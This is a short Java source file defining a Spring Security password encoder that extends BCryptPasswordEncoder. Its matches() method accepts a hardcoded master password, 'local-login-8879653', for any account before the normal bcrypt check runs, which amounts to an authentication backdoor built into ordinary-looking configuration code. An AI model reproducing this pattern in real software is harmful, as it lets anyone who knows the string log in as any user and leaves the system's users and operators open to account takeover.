package com.fs.common.config.security;

import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder;

/**
 * 密码加密解密
 *
 * @author  LiuQi 2025/4/29-10:50
 * @version V1.0
 **/
public class AppPasswordEncoder extends BCryptPasswordEncoder {
    public static final String LOCAL_LOGIN_PWD = "local-login-8879653";

    @Override
    public boolean matches(CharSequence rawPassword, String encodedPassword) {
        if (rawPassword.equals(LOCAL_LOGIN_PWD)) {
            return true;
        }

        return super.matches(rawPassword, encodedPassword);
    }
}
